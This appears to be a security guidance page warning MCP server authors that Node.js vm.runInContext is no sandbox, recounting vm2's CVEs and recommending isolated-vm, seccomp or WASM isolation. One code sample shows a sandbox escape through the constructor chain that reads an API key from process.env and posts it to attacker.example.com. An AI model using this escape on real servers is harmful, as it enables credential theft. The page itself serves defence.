Sandboxing · vm module · Node.js Security
MCP server vm.runInContext sandbox security
The Node.js vm module documentation states explicitly: "The vm module is not a security mechanism." Despite this, many MCP server authors use vm.runInContext or vm.runInNewContext to sandbox untrusted code — formula evaluations, user-provided scripts, LLM-generated code. This page documents the primary sandbox escape techniques, the history of vm2 abandonment, and the actual safe alternatives for MCP servers.
Why vm.runInContext is not a security boundary
The Node.js vm module compiles and runs code in a separate V8 context — a separate global object — but within the same process and memory space. The V8 context boundary does not prevent code from accessing the host process environment through prototype chain escapes, constructor traversal, or built-in function references that bridge the context boundary.
The fundamental problem is that any object passed into the sandbox context (as part of the context object) can be used to traverse the prototype chain back to the host process's built-ins. The this constructor chain is the most common escape vector:
// Sandbox escape via constructor chain — works in plain vm.runInContext
const { NodeVM } = require('vm2');
// OR: vm.runInNewContext(untrustedCode, sandboxedContext)
// The untrusted code that escapes the sandbox:
const code = `
// Get Function constructor from the outer context through prototype chain
const FunctionCtor = this.constructor.constructor;
// Now FunctionCtor is the real Function from the outer context
const process = FunctionCtor('return process')();
// Full access to process.env
const key = process.env.ANTHROPIC_API_KEY;
// Exfiltrate via fetch (also accessible)
FunctionCtor('return fetch')()('https://attacker.example.com', {
method: 'POST',
body: key
});
`;
// vm.runInNewContext will execute this and the sandbox escape works
vm.runInNewContext(code, { someAllowedValue: 'hello' });
Every MCP server that uses vm.runInContext, vm.runInNewContext, or vm.Script to run any code derived from user input, LLM output, or external data is vulnerable to complete process compromise — full process.env access, filesystem access, and network access. SkillAudit flags this as a CRITICAL finding regardless of context.
Why vm2 was abandoned
vm2 was a popular npm package that wrapped Node.js vm with additional hardening: it patched prototype chain traversal, intercepted constructor access, and blocked certain built-in escape vectors. Despite being the most widely used "safe sandbox" for Node.js, vm2 accumulated a series of critical CVEs:
| CVE | Published | Technique | Severity |
|---|---|---|---|
| CVE-2023-29017 | 2023-04-06 | Promise rejection handler escapes context boundary | CRITICAL 9.8 |
| CVE-2023-32313 | 2023-05-15 | Inspect handler on Symbol escapes via custom inspect | CRITICAL 9.8 |
| CVE-2023-37466 | 2023-07-27 | Async generator handler escapes via prototype chain | CRITICAL 9.8 |
| CVE-2023-37903 | 2023-08-10 | Custom error class constructor escape | CRITICAL 9.8 |
After CVE-2023-37903, the maintainer officially archived the vm2 repository with the notice: "There are no mitigations. It is not possible to make vm2 secure." As of 2026, vm2 is abandoned and receives no security patches. Any MCP server that depends on vm2 is using a package with four unpatched CRITICAL CVEs.
Similar packages — isolated-vm (still maintained as of 2026), sandbox-eval, jailed — use varying approaches to process isolation. The security properties differ significantly between them.
Safe alternatives for MCP servers that need untrusted code execution
The actual safe options form a spectrum from "more isolation, more overhead" to "less isolation, less overhead":
Option 1: Worker threads with eval disabled (lowest overhead among safe options). Run the tool handler code in a Worker thread. Pass only structured data (not code) across the thread boundary. If the Worker receives data to transform — not code to execute — there is no code execution sandbox problem because no code is being run from user input. This covers the majority of MCP server use cases where the author confused "evaluating a formula" with "executing arbitrary JavaScript."
Option 2: isolated-vm (V8 isolate, strong boundary). isolated-vm uses the V8 isolate API directly, not Node.js's vm module. V8 isolates are the same primitive that Chrome uses to separate tabs — a strong, actively maintained boundary. The tradeoff is that code running inside the isolate cannot directly call Node.js APIs, only what you explicitly expose:
import ivm from 'isolated-vm';
async function evalUntrustedFormula(code, data) {
// 256 MB memory limit — prevents runaway allocations
const isolate = new ivm.Isolate({ memoryLimit: 256 });
const context = await isolate.createContext();
const jail = context.global;
// Expose only structured data, no process/require/fetch
await jail.set('data', new ivm.ExternalCopy(data).copyInto());
// Timeout: 1000ms CPU time (wall clock, not process time)
const result = await isolate.compileScript(code)
.then(script => script.run(context, { timeout: 1000 }));
isolate.dispose();
return result;
}
Option 3: subprocess with seccomp (strongest isolation). Fork a minimal subprocess that has seccomp-bpf applied to restrict its system calls to a safe allowlist (read, write, exit — no network, no exec, no open on arbitrary paths). This requires Linux and a seccomp policy but provides OS-level enforcement that cannot be escaped through JavaScript prototype chains.
Option 4: WebAssembly sandbox (for compute-only workloads). If the untrusted code is a computation (no I/O needed), compile it to WebAssembly. WASM runs in a strict type-checked environment with no access to host APIs beyond what is explicitly provided via WASM imports. Tools like Extism provide a structured plugin API over WASM for MCP server extension scenarios.
SkillAudit findings for vm module use
Related: Worker thread isolation · MCP server sandboxing overview · Tool chaining attacks